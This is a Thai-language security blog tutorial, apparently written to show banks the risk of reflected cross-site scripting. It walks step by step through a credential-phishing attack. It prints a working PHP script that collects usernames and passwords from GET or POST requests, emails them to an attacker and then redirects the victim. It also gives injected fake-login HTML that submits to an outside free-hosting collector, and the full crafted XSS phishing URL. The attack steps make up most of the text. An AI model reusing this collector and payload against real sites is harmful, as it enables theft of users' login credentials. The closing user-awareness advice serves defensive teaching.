How to demonstrate Reflected Cross-Site Scripting (Get method)

บทนำ (Overview)

จากการประสบการณ์นำเสนอเรื่องช่องโหว่ “Reflected Cross-site scripting (XSS)” ทั้งในและนอกประเทศ พบว่าให้ความสำคัญกับช่องโหว่นี้น้อย เมื่อเทียบกับแบบ “Stored” หรือฝั่งเข้าไปในเว็บไซต์ ซึ่งแท้จริงก็ควรเป็นอย่างนั้น แต่กับเว็บไซต์ที่มักจะโดน “Phishing” อย่างสถาบันการเงินนั้น เจ็บมาทุกวิถึทาง ไม่ว่าจะสร้างหน้าหลอก โดเมนใกล้เคียง ส่ง “link” ปลอมเข้าไปดื้อ ๆ ด้วยภาพลักษณ์ก็คงยอมไม่ได้ ยิ่งถ้าจะโดนโจมตีด้วยช่องโหว่ของบริษัทเอง โดยที่ผู้ประสงค์ร้ายนั้นใช้เพียง “Free hosting” ที่เป็นหน้าด่าน เพื่อจัดการทุกอย่างอัติโนมัติแล้วมันช่างน่าเจ็บใจอย่างยิ่ง

เมื่อได้มีโอกาสนำเสนอ การทดสอบโดยการใช้เหตุการณ์จริงโดยการสร้างหน้า “Phishing” ตามขั้นตอนข้างล่างพบว่า เป็นการยากที่จะตรวจสอบเบื้องต้นโดย “Call center” ว่าหน้าดังกล่าว เป็นการ “Phishing” หรือไม่ และจากการได้แจ้งหน่วยงานร้องเรียน พบว่า ทางบริษัทเองก็แค่ระบุว่า  “Link” ดังกล่าวก็เป็นของบริษัทแท้จริงเช่นกัน และแนะนำให้เข้าโดยตรงแทนที่จะเข้าผ่าน “Link” นี้

แต่ที่น่าตกใจคือวิธีการแก้ไข เพราะตัว “Code” ที่เราสร้างบน “Free hosting” ถูกปฏิเสธการเข้าถึงแต่ช่องโหว่ยังคงมีอยู่….

ictกว่าจะพิสูจน์ทราบนั้น อาจจะมีลูกค้าตกเป็นเหยือแล้วก็ได้ เพื่อพิสูจน์ให้เห็นว่า “Reflected Cross-site scripting (XSS)” มีหลักการโจมตีอย่างไร จึงทำเป็นตัวอย่าง อย่างง่าย ๆ ดังหลักการดังนี้

reflecteedxssเริ่มแรกผู้ไม่ประสงค์ดีจะทำการวาง “code” ลักษณะ “Server-side” (เช่น php, ASP, JSP) ไว้ที่ “free hosting” เพื่อขโมยสำหรับรับค่าบัญชีผู้ใช้ (Credentials) หรือ “sessionid” ตามแต่ช่องโหว่ที่ปรากฏ จากนั้นพยายามสร้าง “code” ที่เป็นลักษณะ “Client-side” (เช่น JavaScript, HTML, DOM, CSS) อีกชุดเพื่อทำหน้ารับค่าที่ต้องการโจรกรรม เพื่อส่งผ่านไปยัง “free hosting” ที่วางเอาไว้ และ “code” ดังกล่าวนี้จะถูกแจกจ่ายไม่ว่าจะผ่านช่องทาง e-mail หรือ web-board อื่น เพื่อให้เหยื่อหลงมา “login” หรือสมัยนี้ อาจมี “Malicious App.” ที่เกิดจากการ Modified พวก “WebView” ทำให้ดูเหมือนเป็นหน้าจริงแต่แท้จริงแล้วอาจเป็นหน้าหลอกในโดเมนจริงก็เป็นได้…

ขั้นตอน (Steps)

  1. สมัครเว็บ “Hosting Free”  ที่สามารถใช้งาน “PHP”  เพื่อวาง code “PHP” เก็บค่า “username” และ “password” และส่ง “E-mail” ต่อ ไปยังผู้โจมตี (ยกตัวอย่างเช่น http://www.000webhost.com/order.php)
  2. จากนั้นลงทะเบียนเพื่อใช้งาน “E-mail” สำหรับการส่งข้อมูลที่ขโมยและรวบรวมได้ยัง “E-mail” ของผู้โจมตีที่แท้จริง (Attacker)
  3. จากรูปในขั้นตอนที่ “5” สามารถเขียนเป็น code ง่าย ๆ ดังนี้
    /*สำหรับโจมตี Get method*/
    $userG = $_GET['ug'];
    $passG = $_GET['pg'];
    
    /*สำหรับโจมตี Post method*/
    $userP = $_POST['up'];
    $passP = $_POST['pp'];
    
    /*สำหรับส่งค่าข้อมูลที่ได้รับไปยัง e-mail ที่ต้องการ*/
    $strTo = "xxx@xxx.com";
    $strSubject = "Credentials";
    
    if ($userG <> "" and passG <> "") {
    $strMessage = "User =".$userG." Password =".$passG;
    $flgSend = @mail($strTo,$strSubject,$strMessage,$strHeader);
    } elseif ($userP <> "" and $passP <> "") {
    $strMessage = "User =".$userP." Password =".$passP;
    $flgSend = @mail($strTo,$strSubject,$strMessage,$strHeader);
    }
    
    /*เพื่อให้การโจมตีเสร็จสิ้นเปลี่ยนไปยังหน้าที่ต้องการ*/
    header ("Location: https://www.xxx.com");
    
  4. จาก “Code” ข้างต้นพบว่า สามารถที่ใช้งานของ “email” ฟรีทั่วไป และหน้าในการ “redirect” ภายหลัง “Login” ก็คือหน้าเว็บไซต์หลักที่มีช่องโหว่นั้นเอง
  5. ขั้น-ตอนต่อไปนำ “code” ที่เตรียมไว้ขึ้น “Server” แล้วทดสอบเรียกผ่าน “URL” ตามข้างล่าง ลองตรวจสอบว่ามี “e-mail” ส่งมาหรือไม่ และ หน้าเว็บไซต์ “redirect” ไปยังเป้าหมายที่กำหนดหรือเปล่า
    http://xxx.com/login.php?ug=test&pg=pass
    
  6. เมื่อเป็นดังที่กำหนดเรียบร้อยแล้วก็มาถึงการทำหน้า “Login” ปลอมที่แทรกตัวไปกับ URL สำหรับหน้าเว็บไซต์ที่มีช่องโหว่ XSS (ตามขั้นตอนที่ 1) โดยใช้ “GET” method ในการส่งข้อมูล จากตรงนี้จะเนียนแค่ไหน ขึ้นอยู่กับความสามารถของผู้โจมตี อาจจะเรียกหน้าเว็บไซต์เดิมจำพวกช่องโหว่ Cross-frame scripting (http://blog.itselectlab.com/?p=878) หรือเรียกใช้ “CSS” ของตัวเว็บไซต์เป้าหมายเอง เพื่อปรับ “Font” และ “Input box” ให้สอดคล้องกัน
    <div id="login" style ="position:absolute;top:120px;left:305px;width:1000px;height:1000px;background-color:white;">
     <!--action คือ URL ของ Free hosting รับค่าที่ส่งจากหน้า Form นี้ -->
     <form action="http://web-freehosting.com/login.php" method="GET">
       <table>
          <tr><td>Username</td>
              <td><input type ="input" name="ug"></td>
          </tr>
          <tr><td>Password</td>
              <td><input type ="password" name="pg"></td>
          </tr>
          <tr><td></td><td><input type ="Submit" value="Login"></td></tr>
       <table>
      </form>
     <div>
    
  7. การที่จะให้ “code” ชุดข้างต้นสำเร็จนั้น ต้องขึ้นการค้นหาช่องโหว่ของเว็บไซต์และสามารถนำมันมาใช้งานได้ด้วย นั้นหมายถึงการปิดคำสั่งก่อนหน้าและข้างหลังโดยการอ่าน “code” ชุดเดิมและทดลอง
    initials="></form>....code ของ หน้า login ปลอม...<!--<br
    
  8. จาก “code” ข้างต้นพบตัวแปรที่มีปัญหาเรื่องช่องโหว่ “XSS” แต่ต้องปิด “Syntax” ก่อนหน้าเสียก่อนจึงสามารถใช้งานช่องโหว่นี้ได้ “> และจะต้องปิด </form> ก่อนหน้าด้วยเพื่อให้สามารถใช้ “form” ของเราเองที่จะส่งข้อมูลไปยัง “Free hosting” ตามด้วย “code” หน้า “login” หลอก เพื่อป้องกัน “Error” ที่จะแสดงออกมาเนื่องจากการปิด “Syntax” ไม่ครบ ให้ทำข้างหลังเป็น “comment” ซะ <!–
  9. สุดท้ายในรูปแแบบการโจมตีผู้โจมตีจะส่ง “Link” แนบไปกับ “email” หรือทั้งกับช่องโหว่อื่นจะต้องทำเป็น URL ยาวๆ เสียก่อน
    <!--URL สำหรับการทำ Phishing
    http://web-vulnerability.com/index.php?initials="></form><form action="http://xxx.com/login.php" method="GET"><div id="login" style="position:absolute;top:120px;left:305px;width:1000px;height:1000px;background-color:white;"><table><tr><td>Username</td><td><input type ="input" name="ug"></td></tr><tr><td>Password</td><td><input type ="password" name="pg"></td></tr><tr><td></td><td><input type ="Submit" value="Login"></td></tr><table></form><div><!--<br
    -->
    

     

  10. ทดสอบการใช้ “Link” ที่ใช้ทำ “phishing” fakelogin
  11. ผลจากการ “Click” ปุ่ม “Submit” fakelogin2
    fakelogin3

สรุปผลการทดสอบ (Conclusion)

จากบทความแสดงให้เห็นภาพที่ชัดเจนยิ่งขึ้น ในแง่การโจมตีเพื่อนำไปสู่การวิเคราะห์ผลกระทบที่อาจจะตามมาโดยเฉพาะภาพลักษณ์ขององค์กร สำหรับตัวผู้ใช้ทั่วไปนั้นก็สามารถสังเกตุเห็นง่าย ๆ เช่น ถึงแม้จะเป็น URL ที่แท้จริงแต่ถ้ามากับ “Link” อื่นหรืออีเมล์แนบมา และมีความยาวมาก ๆ ให้ตั้งข้อสงสัยไว้ก่อนและสอบถามไปยังหน่วยงานที่เกี่ยวข้องเพื่อพิสูจน์ทราบ

ใส่ความเห็น